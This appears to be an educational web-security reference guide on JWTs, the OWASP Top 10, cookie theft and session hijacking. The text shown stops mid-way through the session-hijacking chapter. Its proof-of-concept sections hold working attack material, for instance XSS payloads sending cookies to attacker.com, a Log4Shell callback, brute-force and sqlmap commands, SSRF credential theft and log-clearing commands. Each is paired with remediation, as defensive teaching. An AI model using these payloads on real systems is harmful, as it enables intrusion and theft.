

JWT & WEB SECURITY

Comprehensive Reference Guide

JSON Web Tokens · OWASP Top 10 · Cookie Theft · Session Hijacking · Attack POCs · Remediation Strategies · bcrypt

JWT	OWASP Top 10	XSS	CSRF	SQLi	Broken Auth	bcrypt	Sessions	Cookies	SSRF
-----	--------------	-----	------	------	-------------	--------	----------	---------	------

Generated: April 01, 2026 | For Educational & Security Research Purposes

TABLE OF CONTENTS

Chapter 1 -- JSON Web Tokens -- Deep Dive

- . 1.1 What is JWT?
- . 1.2 Static vs Dynamic Tokens
- . 1.3 JWT Workflow & Lifecycle
- . 1.4 How a Token is Created
- . 1.5 Signing Algorithms (HS256, RS256, ES256, EdDSA)
- . 1.6 Entropy & Token Randomness
- . 1.7 OWASP JWT-Specific Mitigations

Chapter 2 -- OWASP Top 10 (2021) -- Full Reference

- . A01 Broken Access Control
- . A02 Cryptographic Failures
- . A03 Injection
- . A04 Insecure Design
- . A05 Security Misconfiguration
- . A06 Vulnerable & Outdated Components
- . A07 Identification & Authentication Failures
- . A08 Software & Data Integrity Failures
- . A09 Security Logging & Monitoring Failures
- . A10 Server-Side Request Forgery (SSRF)

Chapter 3 -- Cookie Theft

- . 3.1 What is a Cookie?
- . 3.2 Cookie Security Attributes
- . 3.3 How Cookies Are Stolen
- . 3.4 Real-World Case Studies
- . 3.5 POC -- XSS Cookie Theft
- . 3.6 Remediation

Chapter 4 -- Session Hijacking

- . 4.1 What is a Session?
- . 4.2 Hijacking Methods
- . 4.3 Real-World Examples
- . 4.4 POC Walkthroughs
- . 4.5 Remediation

Chapter 5 -- JWT Manipulation & Forgery

- . 5.1 Decoding JWTs Online (jwt.io)
- . 5.2 Algorithm Confusion Attacks
- . 5.3 Payload Tampering
- . 5.4 Signature Bypass Techniques
- . 5.5 jwt_tool Automation

- . 5.6 Defensive Validation Checklist

Chapter 6 -- Advanced JWT Concepts

- . 6.1 JWE -- JSON Web Encryption
- . 6.2 Revocation Strategies
- . 6.3 Refresh Token Pattern
- . 6.4 Common Vulnerability Summary

Chapter 7 -- Introduction to bcrypt

- . 7.1 Why bcrypt? (vs MD5/SHA1)
- . 7.2 How bcrypt Works Internally
- . 7.3 Work Factor / Cost Parameter
- . 7.4 bcrypt vs Argon2 vs scrypt
- . 7.5 Implementation Examples (Python, Node.js, Java)

1.1 What is JWT?

A JSON Web Token (JWT, pronounced 'jot') is a compact, URL-safe means of representing claims transferred between two parties. Defined in RFC 7519, a JWT encodes a JSON object that is digitally signed (JWS) and optionally encrypted (JWE). JWTs are self-contained -- the server does NOT need to query a session store; the token itself carries all required data, making them ideal for stateless, horizontally-scalable architectures.

They are the backbone of OAuth 2.0 and OpenID Connect (OIDC) and are used widely in REST APIs, mobile apps, microservices, and Single-Page Applications (SPAs). Understanding JWTs is critical because they are both ubiquitous AND frequently misconfigured.

JWT Structure -- Three Base64URL Parts

A JWT has three period-separated parts: HEADER . PAYLOAD . SIGNATURE

Header : { "alg": "HS256", "typ": "JWT" }

Payload : { "sub": "7f3a2b1c", "name": "Alice", "role": "admin",
"iat": 1700000000, "exp": 1700003600, "jti": "abc-123" }

Signature: HMACSHA256(base64url(header) + '.' + base64url(payload), secret)

All three parts are individually Base64URL-encoded, then joined with dots.

IMPORTANT: Base64URL encoding is NOT encryption -- anyone can decode the payload!

1.2 Static vs Dynamic Tokens

Static JWT	Dynamic JWT
Fixed payload, no expiry or very long expiry. Used for API keys, webhooks, CI/CD pipelines.	Short-lived, contains dynamic claims: exp, iat, jti, roles. Used for user login sessions.
Expiry: None or years. Valid until manually revoked or key rotated.	Expiry: 15 min to 1 hour for access tokens. Refresh tokens: 7-30 days.
Risk: Indefinite access if leaked. Must live in secrets vault/env vars.	Risk: Replay within validity window. Requires refresh-token rotation strategy.
Revocation: Requires blocklist or key rotation to invalidate a specific token.	Revocation: Expiry handles most cases; jti claim enables per-token revocation.

1.3 JWT Workflow & Lifecycle

Understanding the complete lifecycle is essential for both implementing and attacking JWTs:

Step 1 -- Authentication	Client sends credentials (username + password) to POST /api/login.
Step 2 -- Verification	Server validates credentials against DB using <code>bcrypt.verify(password, hash)</code> .
Step 3 -- Token Issuance	Server constructs payload, signs with secret/private key, returns JWT.
Step 4 -- Token Return	JWT returned in JSON body. Client stores in memory or HttpOnly cookie.
Step 5 -- Requests	Client sends: Authorization: Bearer header on every request.
Step 6 -- Validation	Server extracts token, re-computes signature, checks exp/iss/aud claims.
Step 7 -- Authorization	Server checks claims (roles, scopes) and serves or denies the request.
Step 8 -- Token Refresh	Access token expires -> client sends refresh token -> new access token.
Step 9 -- Logout	Client discards token. Server adds jti to blocklist for immediate revocation.

1.4 How a Token is Created -- Internals

Token creation is a precise multi-step cryptographic process:

```
# Python example using PyJWT

import jwt, datetime, secrets

SECRET_KEY = secrets.token_bytes(32) # 256-bit cryptographically random secret

payload = {

    'sub' : '7f3a2b1c', # Subject (unique user ID)

    'name' : 'Alice',

    'roles': ['user', 'editor'], # Custom claims

    'iss' : 'https://auth.example.com', # Issuer
```

```

'aud' : 'https://api.example.com', # Audience

'iat' : datetime.datetime.utcnow(), # Issued-at timestamp

'exp' : datetime.datetime.utcnow() + datetime.timedelta(minutes=15),

'jti' : secrets.token_urlsafe(16), # JWT ID -- unique per token

}

token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')

# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI3Z...

```

Internal Steps the Library Performs:

Step 1: Serialize header JSON to UTF-8 bytes, then Base64URL encode

Step 2: Serialize payload JSON to UTF-8 bytes, then Base64URL encode

Step 3: Concatenate: enc_header + '.' + enc_payload = signing_input

Step 4: Compute HMAC-SHA256(signing_input, secret) -- Base64URL encode = signature

Step 5: Final JWT = signing_input + '.' + signature

1.5 Signing Algorithms

The algorithm is declared in the JWT header and determines both security guarantees and attack surface.

Algorithm	Type	Notes & Security
HS256/384/512	HMAC-SHA (symmetric)	Same secret signs & verifies. Fast. Secret must be shared between all verifying services.
RS256/384/512	RSA-PKCS1v1.5 (asymmetric)	Private key signs, public key verifies. Services only need public key. Minimum 2048-bit.
ES256/384/512	ECDSA (asymmetric)	Smaller keys, equivalent security to RSA. ES256 = secp256r1 curve.
PS256/384/512	RSA-PSS (asymmetric)	Safer RSA padding than PKCS1v1.5. Preferred for new RSA deployments.
EdDSA (Ed25519)	Edwards-curve (asymmetric)	Modern, fast, small signatures. Highly recommended for new systems.
none	NO SIGNATURE -- DANGEROUS	Any library accepting 'none' is critically vulnerable. Tokens trivially forged!

1.6 Entropy & Token Randomness

Entropy measures unpredictability. A JWT's security depends critically on the entropy of its signing secret (HS*) or private key (RS*/ES*). Low-entropy secrets are vulnerable to brute-force and dictionary attacks using tools like hashcat.

Entropy Requirements

HS256 secret : minimum 256 bits of entropy = 32 random bytes

Use: `import secrets; SECRET = secrets.token_bytes(32)`

HS512 secret : minimum 512 bits of entropy = 64 random bytes

RS2048 key : 2048-bit RSA modulus ~ 112 bits of security (minimum acceptable)

ES256 key : 256-bit ECDSA ~ 128 bits of security (recommended)

NEVER use: passwords, GUIDs, short strings, or predictable values as JWT secrets!

Secret 'mysecret' has ~54 bits entropy -- crackable in hours with `jwt_tool`+hashcat.

Entropy formula: $H = \log_2(N^L)$ where N =alphabet size, L =length

Example: lowercase 26 chars, 8 chars length: $H = \log_2(26^8) \sim 37.6$ bits -- CRITICALLY WEAK

```
# Secure secret generation

import secrets

SECRET = secrets.token_bytes(32) # 256 random bits -- CORRECT

SECRET_HEX = secrets.token_hex(32) # 64-char hex string


# Brute-force test with hashcat:

$ hashcat -a 0 -m 16500 jwt_token.txt rockyou.txt # dictionary attack

$ hashcat -a 3 -m 16500 jwt_token.txt '?a?a?a?a?a?' # brute-force 6 chars
```

1.7 How OWASP Top 10 Addresses JWT Security

A01 - Broken Access Control	JWT claims (roles, scopes) not validated server-side. Attacker modifies payload.
A02 - Cryptographic Failures	Weak secrets, 'none' algorithm, deprecated HS256 with short key, key confusion.
A03 - Injection	JWT header injection via 'kid' parameter (SQLi/path traversal), claim injection.
A05 - Misconfiguration	Missing exp validation, accepting expired tokens, missing iss/aud validation.
A07 - Auth Failures	Algorithm confusion, secret brute-force, missing signature verification entirely.

A08 - Integrity Failures

Accepting tokens from untrusted sources, not pinning expected algorithm server-side.

OWASP Top 10 (2021)

Explanation · Example · POC · Remediation

The OWASP Top 10 is the de-facto industry standard for web application security awareness, ranked by prevalence, detectability, and impact. Every security professional must understand these -- both to defend and to perform authorized penetration tests.

A01 Broken Access Control

A. Explanation

Broken Access Control (BAC) occurs when users can act outside their intended permissions. It is the #1 web vulnerability, found in 94% of tested applications. BAC allows attackers to view unauthorized data, modify it, or perform privileged actions.

Common patterns: forced browsing, IDOR (Insecure Direct Object Reference), missing function-level access control, CORS misconfiguration, JWT/cookie claim manipulation, privilege escalation.

B. Real-World Example

Facebook (2012): IDOR allowed any user to delete photos from any account by changing the photo ID in the API -- no ownership check performed. Reported via bug bounty.

Hospital portal: Changing patient_id=1234 to patient_id=1235 in the URL revealed another patient's complete medical records. App only checked if user was logged in, not ownership.

C. Exploit / POC

Scenario: E-commerce, user owns order #5001.

GET /api/orders/5001 returns Alice's order (correct)

Attack in Burp Suite:

Change: GET /api/orders/5001 to GET /api/orders/5002

Server returns Bob's order: name, address, items, card last-4 digits.

Mass enumeration script:

```
for i in range(5000, 6000):
```

```
    r = requests.get(f'https://shop.com/api/orders/{i}', cookies=attacker_cookies)
```

```
    if r.status_code == 200: print(f'Accessed order {i}: {r.json()}')
```

Admin panel -- client-side only check:

```
JS: if (user.role == 'admin') { showAdminButton(); }
```

Attack: Navigate directly to /admin/users/delete?id=99

Server executes deletion without verifying role server-side.

D. Remediation

Enforce access control server-side -- NEVER trust client-side checks alone.

Implement RBAC (Role-Based Access Control) or ABAC as centralized policy.

Use indirect object references: map internal IDs to random per-session tokens.

Log all access control failures; alert on repeated failures and rate-limit.

Deny by default: if no explicit permission exists, deny the request.

Test with Burp Suite, OWASP ZAP; perform manual IDOR enumeration on every release.

A02 Cryptographic Failures

A. Explanation

Formerly 'Sensitive Data Exposure'. Covers failures in cryptography that expose sensitive data: cleartext transmission, weak/broken algorithms, improper key management, missing encryption.

Key failures: HTTP password transmission, MD5/SHA1 password storage (unsalted), ECB mode encryption, hardcoded keys, short RSA keys, predictable IVs, JWT secrets from passwords.

B. Real-World Example

LinkedIn (2012): 6.5 million unsalted SHA1 password hashes leaked. Because SHA1 is fast, cracking common passwords took minutes. Over 90% of passwords recovered via GPU cracking.

Adobe (2013): 153 million records leaked with passwords encrypted (not hashed) with 3DES-ECB. Identical passwords had identical ciphertext -- revealing password frequency.

C. Exploit / POC

Password stored as MD5:

DB: password_hash = '5f4dcc3b5aa765d61d8327deb882cf99'

```
$ hashcat -a 0 -m 0 hash.txt rockyou.txt
```

Result: 5f4dcc3b5aa765d61d8327deb882cf99:password

Time: < 1 second (MD5 allows billions of hashes/sec on GPU!)

ECB mode pattern attack:

encrypt('AAAA AAAA') produces XYZXYZ

encrypt('AAAA AAAA') also produces XYZXYZ -- identical blocks reveal repeated plaintext

Attacker can deduce content without decryption.

D. Remediation

Use bcrypt, Argon2id, or scrypt for passwords -- never MD5/SHA1/SHA256 alone.

Encrypt all data in transit: TLS 1.2+ with HSTS, enforce HTTPS everywhere.

Use AES-256-GCM (authenticated encryption) for data at rest.

Never use ECB mode. Use GCM or CBC with random, never-reused IVs.

Store cryptographic keys in HSM, AWS KMS, or HashiCorp Vault -- never in code.

Disable deprecated: TLS 1.0/1.1, SSLv3, RC4, DES, 3DES, MD5, SHA1.

A03 Injection

A. Explanation

Injection occurs when untrusted data is sent to an interpreter as part of a command or query. SQL injection is most common, but also includes: LDAP, OS command, XPath, SSTI, XXE, NoSQL.

Attacker input is interpreted as code/commands rather than data, allowing authentication bypass, database exfiltration, system command execution, or arbitrary file reads.

B. Real-World Example

Sony Pictures (2014): SQL injection across multiple endpoints allowed extraction of full employee databases, unreleased films, executive salary data, and personal records.

Heartland Payment Systems (2008): SQL injection led to malware installation that captured 130 million credit card numbers from the payment processor.

C. Exploit / POC

Authentication Bypass:

Normal: `SELECT * FROM users WHERE username=? AND password=?`

Input: `username = admin'--`

Query: `SELECT * FROM users WHERE username='admin'--' AND password='x'`

`'--'` comments out the password check -- logged in as admin!

UNION data exfiltration:

Input: `' UNION SELECT username, password, null FROM users--`

Result: dumps all usernames and hashed passwords

Automated tool:

```
$ sqlmap -u 'https://site.com/item?id=1' --dbs --dump --batch
```

D. Remediation

Use parameterized queries/prepared statements -- ALWAYS, no exceptions.

ORMs use parameterization by default -- but verify; raw query builders can bypass it.

Validate input type, length, and format with a strict allowlist.

Run database with minimal privileges -- app user should not have DROP/CREATE.

Deploy WAF as defense-in-depth (not as the primary defense).

For OS commands: avoid entirely; use library functions instead of shell execution.

A04 Insecure Design

A. Explanation

New in 2021. Covers architecture-level weaknesses -- missing or ineffective security controls by design, not implementation bugs. Includes: missing threat modeling, no rate limiting by design, insecure business logic, missing abuse-case analysis.

Unlike implementation bugs (patchable with code), insecure design requires redesigning components.

B. Real-World Example

Instagram (2019): Password reset sent 6-digit OTP via SMS. No rate limiting by design. Researchers brute-forced all 1,000,000 combinations from multiple IPs -- full account takeover. Instagram awarded \$30,000 bug bounty after fix.

Shopping cart negative quantity: Poorly designed checkout allows quantity=-1, resulting in negative charges -- effectively getting paid to buy items.

C. Exploit / POC

Brute-force OTP (no lockout designed in):

for code in range(0, 1000000):

```
r = requests.post('/reset', json={'otp': f'{code:06d}', 'email': 'victim@x.com'})
```

```
if r.status_code == 200:
```

```
    print(f'Valid OTP: {code}'); break
```

```
time.sleep(0.05) # rotate IPs to avoid IP-based blocking
```

Business logic -- negative quantity:

```
POST /cart/add { item_id: 5, quantity: -10, price: 49.99 }
```

```
GET /checkout Total: -$499.90 -- credit applied to attacker account
```

D. Remediation

Threat model every feature: identify assets, attackers, and attack vectors.

Implement rate limiting and account lockout at architecture level (not as afterthought).

OTPs: expiry (5 min), single-use, rate-limit (3 attempts), lockout after threshold.

Validate business logic server-side: quantity > 0, amounts non-negative.

Define security requirements (abuse cases) alongside functional requirements.

Use OWASP ASVS as a security design checklist for every sprint.

A05 Security Misconfiguration

A. Explanation

The most common penetration test finding. Covers: default credentials in production, unnecessary features enabled, missing security headers, open cloud storage, unpatched systems, and overly permissive CORS/CSP policies.

With cloud/containers/microservices, misconfiguration attack surface is enormous. A single public S3 bucket can expose terabytes of sensitive data.

B. Real-World Example

Capital One (2019): SSRF + overly permissive IAM role allowed attacker to access AWS metadata service, steal credentials, and access 106 million customer records from misconfigured S3 buckets.

Elasticsearch: Thousands of public instances with no authentication (default config) have exposed billions of records including medical data and financial records.

C. Exploit / POC

Default credentials:

Admin panel at /admin -> username: admin, password: admin (unchanged!)

S3 public bucket enumeration:

```
$ aws s3 ls s3://company-backups --no-sign-request
```

```
$ aws s3 cp s3://company-backups/db_backup.sql . --no-sign-request
```

Debug endpoint leaking stack trace:

```
GET /api/user?id=invalid
```

Response 500: full stack trace including DB connection string with credentials

D. Remediation

Disable all unnecessary features, services, and default accounts in production.

Set security headers: CSP, X-Frame-Options, X-Content-Type-Options, HSTS.

Never expose stack traces to end users -- log server-side only.

Audit cloud permissions with least privilege principle; use AWS SCPs.

Automate scanning: AWS Config, Prowler, Chef InSpec.

Use separate environments (dev/staging/prod) with different secrets.

A06 Vulnerable & Outdated Components

A. Explanation

Modern applications are 80-90% third-party code: npm packages, pip libraries, Docker images. A single vulnerable library in the dependency tree can compromise the entire application. Includes: outdated OS, web servers, DBMS, APIs, runtimes, frameworks with known CVEs.

B. Real-World Example

Log4Shell (CVE-2021-44228, CVSS 10.0): The Log4j Java logging library had a JNDI injection flaw. Sending `$[jndi:ldap://evil.com/a]` caused servers to execute arbitrary remote code. Exploited within hours of disclosure against millions of servers worldwide.

Equifax (2017): Apache Struts CVE-2017-5638 -- patch available 2 months before breach. Unpatched server -- 147 million people's data stolen.

C. Exploit / POC

Log4Shell POC:

1. Attacker hosts malicious Java class with reverse shell on LDAP server
2. Sends payload to any logged field (User-Agent, username, search box):
User-Agent: `$[jndi:ldap://attacker.com:1389/Exploit]`
3. Vulnerable Log4j server fetches and executes the Java class
4. Attacker receives reverse shell with server privileges

Check if vulnerable:

```
$ curl -H 'User-Agent: $[jndi:dns://canary.burpcollaborator.net/a]' https://target.com
```

Monitor Burp Collaborator for DNS callback -- confirms vulnerability

D. Remediation

Maintain a Software Bill of Materials (SBOM) for all dependencies.

Use dependency scanners: Snyk, OWASP Dependency-Check, npm audit, pip-audit.

Subscribe to NVD, GitHub Security Advisories for vulnerability feeds.

Automate updates with Dependabot or Renovate. Patch SLA: Critical=24-48h, High=7d.

Use minimal Docker base images (distroless, Alpine) to reduce attack surface.

Remove unused dependencies, features, and components from production.

A07 Identification & Authentication Failures

A. Explanation

Formerly 'Broken Authentication'. Covers: weak passwords, missing MFA, credential stuffing, brute force without lockout, improper session management, insecure 'remember me', predictable token generation, and not invalidating sessions on logout.

B. Real-World Example

Spotify (2020): 350,000 accounts compromised via credential stuffing -- trying leaked username/password pairs from Collection #1-5. Spotify had no rate limiting or CAPTCHA.

Uber (2016): AWS credentials hardcoded on GitHub. Credentials accessed S3 bucket containing 57 million rider and driver records.

C. Exploit / POC

Brute-force attack (no rate limiting):

```
$ hydra -l admin@site.com -P rockyou.txt https-post-form \
'/login:email=^USER^&password;=^PASS^:Invalid password'
```

Tries 14 million passwords until match found

Session fixation:

1. Attacker sends victim: `https://bank.com/login?JSESSIONID=KNOWN_ID`
2. Victim logs in -- app reuses the same session ID (vulnerability!)
3. Attacker uses known ID: `curl -b 'JSESSIONID=KNOWN_ID' https://bank.com/account`

Full access to victim's account

D. Remediation

Enforce strong passwords + check against HaveIBeenPwned breach database.

Implement MFA (TOTP, WebAuthn/FIDO2) -- especially for admin accounts.

Rate-limit login: lock after 5 failures, require CAPTCHA, notify user.

Regenerate session ID on login (prevent session fixation).

Invalidate ALL sessions on logout and on password change.

Short session timeouts: 15-30 min idle. Secure, HttpOnly, SameSite cookies.

A08 Software & Data Integrity Failures

A. Explanation

New in 2021. Covers insecure deserialization, auto-updates without signature verification, CI/CD pipeline compromise, and tampered packages in supply chain attacks.

Fundamental assumption: software and data integrity cannot be taken for granted.

B. Real-World Example

SolarWinds (2020): Attackers compromised the build system, injecting SUNBURST malware into legitimate signed updates. 18,000+ organizations including US government agencies installed the backdoor. Signed certificate meant signature verification couldn't detect it.

npm event-stream (2018): Malicious maintainer added a dependency stealing Bitcoin wallets. 2 million downloads/week before discovery.

C. Exploit / POC

Insecure Java deserialization:

Vulnerable: `ObjectInputStream.readObject()` on user-controlled data

```
$ java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.ser
```

```
$ curl -X POST https://target.com/api/deserialize --data-binary @payload.ser
```

Result: Remote Code Execution -- calculator opens on server

PyPI typosquatting:

Legitimate: `pip install requests`

Malicious: `pip install request (missing 's')` -- steals environment variables

Or: `pip install requests (transposed letters)` -- installs malware

D. Remediation

Sign software releases and verify signatures before deployment.

Use package lock files with hashes: `pip install --require-hashes -r requirements.txt`

Protect CI/CD: signed commits, OIDC for cloud auth, least-privilege runners.

Never deserialize untrusted data -- use JSON/safe formats instead.

Monitor dependency changes via SBOM diffing in CI pipeline.

Use SLSA (Supply-chain Levels for Software Artifacts) framework.

A09 Security Logging & Monitoring Failures

A. Explanation

Insufficient logging allows attackers to persist undetected for months. Average breach dwell time: 197 days. Critical events to log: all authentication, access control failures, server-side input validation failures, and high-value transaction changes.

Logs must be tamper-resistant, centralized (SIEM), monitored with alerts, and retained per compliance requirements (PCI-DSS: 1 year, HIPAA: 6 years).

B. Real-World Example

Target (2013): Attackers inside network for 3 weeks undetected. Security tools alerted on malware -- alerts were ignored. 40 million credit cards and 70 million records stolen.

Equifax (2017): Breach lasted 78 days undetected. TLS inspection expired 19 months prior, making encrypted attacker traffic invisible to monitoring.

C. Exploit / POC

Testing for absent logging (attacker's perspective):

1. Attempt SQL injection: `/search?q=' OR 1=1--`
2. Attempt path traversal: `/files?name=../../etc/passwd`

3. Attempt brute force: 100 rapid login attempts from same IP

If no alert/lockout within 30 minutes -- logging/monitoring is broken

Log tampering (if logs are writable locally):

```
$ echo " " > /var/log/auth.log # clear auth log
```

```
$ sed -i '/192.168.1.100/d' /var/log/nginx/access.log # remove attacker IP traces
```

D. Remediation

Log all: auth events (success/fail), authorization failures, input validation fails.

Log format: timestamp (UTC), IP, user ID, action, result, correlation ID.

Ship logs to immutable centralized SIEM (Splunk, ELK, Datadog) immediately.

Alert on: 5+ failed logins, after-hours admin access, bulk data export, anomalies.

Test detection with purple team exercises; verify alerts actually fire.

Protect log integrity: append-only S3 with Object Lock, signed log shipping.

A10 Server-Side Request Forgery (SSRF)

A. Explanation

SSRF occurs when an attacker causes the server to make HTTP requests to arbitrary destinations -- including internal systems inaccessible from the internet. The server becomes a proxy. With cloud metadata services (169.254.169.254), SSRF can lead to full cloud account takeover.

B. Real-World Example

Capital One (2019): SSRF via misconfigured WAF allowed an attacker to access the EC2 Instance Metadata Service at <http://169.254.169.254/latest/meta-data/iam/security-credentials/> and retrieve IAM credentials with broad S3 access. 106 million records exposed.

GitLab: SSRF via webhook URLs allowed scanning internal Kubernetes API servers.

C. Exploit / POC

Cloud metadata SSRF:

Vulnerable: `POST /fetch-image {url: 'https://user-supplied.com/img.jpg'}`

Attack 1 -- enumerate metadata:

`POST /fetch-image {url: 'http://169.254.169.254/latest/meta-data/'}`

Server returns: ami-id, hostname, iam/, instance-id, ...

Attack 2 -- steal IAM credentials:

`POST /fetch-image {url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role'}`

Returns: AccessKeyId, SecretAccessKey, SessionToken

Attack 3 -- use stolen credentials:

```
$ aws configure --profile stolen # enter stolen keys
```

```
$ aws s3 ls --profile stolen # list all buckets
```

D. Remediation

Deny requests to private IPs: 10.x, 172.16-31.x, 192.168.x, 169.254.x, ::1

Use allowlists for external URLs -- permit only expected domains/IP ranges.

Disable HTTP redirects or validate post-redirect URL against allowlist.

Enforce IMDSv2 on AWS (session-oriented, prevents simple GET-based SSRF).

Network egress controls: server should not arbitrarily reach internal services.

Internal services must require auth even from within the internal network.

Cookie Theft

Definition · Mechanisms · POC · Remediation

3.1 What is a Cookie?

An HTTP cookie is a small piece of data (up to 4KB) that a server sends to a browser, which stores it and sends it back with subsequent requests to the same server. Defined in RFC 6265, cookies enable statefulness in the stateless HTTP protocol.

Cookies serve three primary purposes: **session management** (login state, shopping cart), **personalization** (preferences, themes), and **tracking** (analytics, ad targeting). Session cookies are deleted when the browser closes; persistent cookies have an explicit Expiry/Max-Age.

```
Example: Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Strict;
Max-Age=3600
```

3.2 Cookie Security Attributes

Attribute	Purpose
Secure	Cookie only sent over HTTPS -- prevents interception over HTTP/network sniffing
HttpOnly	Inaccessible to JavaScript (document.cookie) -- prevents XSS-based cookie theft
SameSite=Strict	Cookie not sent on any cross-site request -- strongest CSRF protection
SameSite=Lax	Sent on top-level navigation GET only -- moderate CSRF protection
SameSite=None; Secure	Allows cross-site requests -- requires Secure flag; use cautiously
Domain=.example.com	Restricts which hosts receive the cookie; beware subdomain scope
Path=/api	Restricts cookie to specific URL path prefix
Max-Age=3600	Expiry in seconds (0 = delete immediately); persistent cookie
__Host- prefix	Strongest: requires Secure, no Domain, Path=/ -- prevents subdomain attacks

3.3 How Cookies Are Stolen

XSS -- Cross-Site Scripting

Attacker injects JavaScript that reads document.cookie and sends it to an attacker-controlled server. Only works if HttpOnly flag is NOT set on the session cookie.

Network Sniffing (MitM)	On insecure networks (public WiFi), attacker captures HTTP traffic. Cookies without Secure flag appear in plaintext in Wireshark/tcpdump.
Subdomain Cookie Hijacking	If cookie Domain=.example.com, a compromised subdomain (evil.example.com) can read/set cookies. Subdomain takeover makes this especially dangerous.
Cross-Site Request Forgery	Browser automatically includes cookies in cross-origin requests. Attacker tricks user into submitting a forged request using victim's session cookie.
Physical Access / DevTools	Attacker opens browser DevTools -- Application -- Cookies and copies session token values directly from an unlocked device.
Malicious Third-Party Scripts	Compromised CDN or ad scripts run on the page with full JS access. Magecart and similar groups steal payment data AND session cookies this way.

3.4 Real-World Case Studies

Case Study 1: British Airways (2018) -- Magecart Attack

Attacker injected malicious JavaScript into BA's site via a compromised third-party script. The script harvested customer payment data AND session cookies for 500,000 customers. Stolen data sent to: baways.com -- attacker domain mimicking British Airways. Fine: GBP 183 million under GDPR. Root cause: no CSP, no Subresource Integrity on scripts.

Case Study 2: Linus Tech Tips YouTube (2023) -- Session Cookie Theft

Attacker sent phishing email with malware disguised as a sponsorship PDF. Malware used 'cookie stealer' technique to extract session cookies from browser storage. YouTube session cookie bypassed 2FA completely -- attacker had full channel access. Used the session to livestream crypto scams to 15 million subscribers. Key lesson: Session cookies bypass MFA entirely if stolen at the OS level.

3.5 POC -- XSS Cookie Theft (Dummy Example)

```
# ATTACKER SETUP

# Step 1: Spin up cookie-catcher server

from http.server import HTTPServer, BaseHTTPRequestHandler

from urllib.parse import unquote
```

```

class Handler(BaseHTTPRequestHandler):

    def do_GET(self):

        if '?c=' in self.path:

            stolen = unquote(self.path.split('?c=')[1])

            print(f'[STOLEN COOKIE] {stolen}')

            open('cookies.txt', 'a').write(stolen + chr(10))

            self.send_response(200); self.end_headers()

            HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()

# INJECTION PAYLOAD (if HttpOnly NOT set on session cookie)

# Inject in search, comment, or profile field:

# fetch('http://attacker.com:8080/?c=' + encodeURIComponent(document.cookie))

# Or via img onerror (bypasses script filters):

# [img src=x onerror=this.src='http://attacker.com:8080/?c='+document.cookie]

# ATTACKER RECEIVES:

# [STOLEN COOKIE] sessionId=eyJhbGciOiJIUzI1NiJ9...; _ga=UA-1234

# SESSION HIJACK - use stolen cookie in attacker's browser:

# DevTools console: document.cookie = 'sessionId=eyJhbGciOiJIUzI1NiJ9...'

# Or use Cookie-Editor browser extension to import stolen cookies

```

3.6 Remediation

- * Set **HttpOnly** flag on ALL session cookies -- eliminates JS-based cookie theft.
- * Set **Secure** flag -- cookie never transmitted over HTTP.
- * Set **SameSite=Strict** or **Lax** -- prevents CSRF attacks.
- * Implement **Content Security Policy (CSP)** to prevent XSS payload execution.
- * Use **Subresource Integrity (SRI)** hashes on all third-party scripts.
- * Use cookie **__Host-** prefix for maximum security constraints.
- * Rotate session cookie on every login -- prevents session fixation.
- * Implement short session lifetimes and absolute timeouts.

- * Monitor impossible geography: same session from two continents within minutes.
- * Train users on phishing awareness -- malware-based cookie theft bypasses technical controls.

Session Hijacking

Definition · Techniques · POC · Remediation

4.1 What is a Session?

HTTP is stateless -- each request is independent. Sessions add statefulness: server-side storage (memory, Redis, database) keyed by a unique Session ID (SID) sent to the client (typically via cookie). Every subsequent request presents this SID, and the server looks up the associated state.

Session data includes: authenticated user ID, roles/permissions, cart contents, CSRF tokens, and per-user state. The SID is a **bearer credential** -- whoever holds it is treated as the authenticated user. This makes it a primary attack target.

4.2 Session Hijacking Methods

Session Prediction	Guessing or computing valid SIDs. Old frameworks used sequential or timestamp-based IDs -- trivially predictable.
Session Fixation	Attacker forces a known SID before user logs in. If server reuses it post-auth, attacker has valid authenticated session.
Session Sidejacking	Sniffing SID from unencrypted network traffic (public WiFi without HTTPS/HSTS).
XSS Cookie Theft	JavaScript reads document.cookie and exfiltrates SID if HttpOnly not set.
Man-in-the-Browser	Browser malware intercepts/modifies all requests including authenticated sessions -- bypasses HttpOnly.
Referrer Leakage	SID included in URLs (bad practice) leaks via Referer header to third-party resources on the page.
Cross-Site Request Forgery	Forges authenticated requests using victim's active session cookies without stealing them.

4.3 Real-World Examples

Firesheep (2010) -- Session Sidejacking Made Trivial

Eric Butler released Firesheep, a Firefox extension that passively sniffed WiFi traffic.

It automatically captured session cookies for Facebook, Twitter, Amazon, and 26 other sites.

Any user on the same public WiFi could click one button to hijack any nearby user's session.

This single tool forced the entire industry to adopt HTTPS everywhere and HSTS.

Over 1 million downloads in the first day. Cookies without Secure flag were fully exposed.

GitHub Session Fixation Vulnerability (2013)

A session fixation vulnerability allowed attackers to set a known session ID before OAuth login.

After the user authenticated, the server reused the pre-set SID -- giving attacker full access.

The session was fully authenticated without the attacker ever knowing the user's password.

Fix: always regenerate a new session ID immediately upon successful authentication.

4.4 POC Walkthroughs

Session Fixation Attack -- Step by Step:

```
# SESSION FIXATION POC

# Vulnerable server code (pseudocode):

# session_id = request.cookies.get('sid') or generate_random_sid()

# session.start(session_id) <- VULNERABILITY: uses attacker-provided ID

# Step 1: Attacker generates a known session ID

KNOWN_SID = 'ATTACKER_CONTROLLED_SID_ABC123'

# Step 2: Attacker sends victim a crafted login link

# https://bank.com/login?sid=ATTACKER_CONTROLLED_SID_ABC123

# Step 3: Victim clicks link and logs in normally

# Server creates session with the attacker's known ID

# Session is now: { sid: 'ATTACKER_CONTROLLED...', user: 'victim@email.com',
auth: True }

# Step 4: Attacker uses the known SID immediately

import requests

cookies = {'sid': 'ATTACKER_CONTROLLED_SID_ABC123'}

r = requests.get('https://bank.com/dashboard', cookies=cookies)
```



```
print(r.text) # victim's full dashboard! Bank balance, transactions...
```

Network Sidejacking with tcpdump:

```
# NETWORK SIDEJACKING (Public WiFi, HTTP only)

# Step 1: Capture HTTP cookies in promiscuous mode

$ sudo tcpdump -i wlan0 -A 'tcp port 80' 2>/dev/null | grep -i 'cookie:'

# Output (unencrypted HTTP):

# Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoieWxpY2UifQ.Xhj...

# Step 2: Replay stolen session in attacker's browser

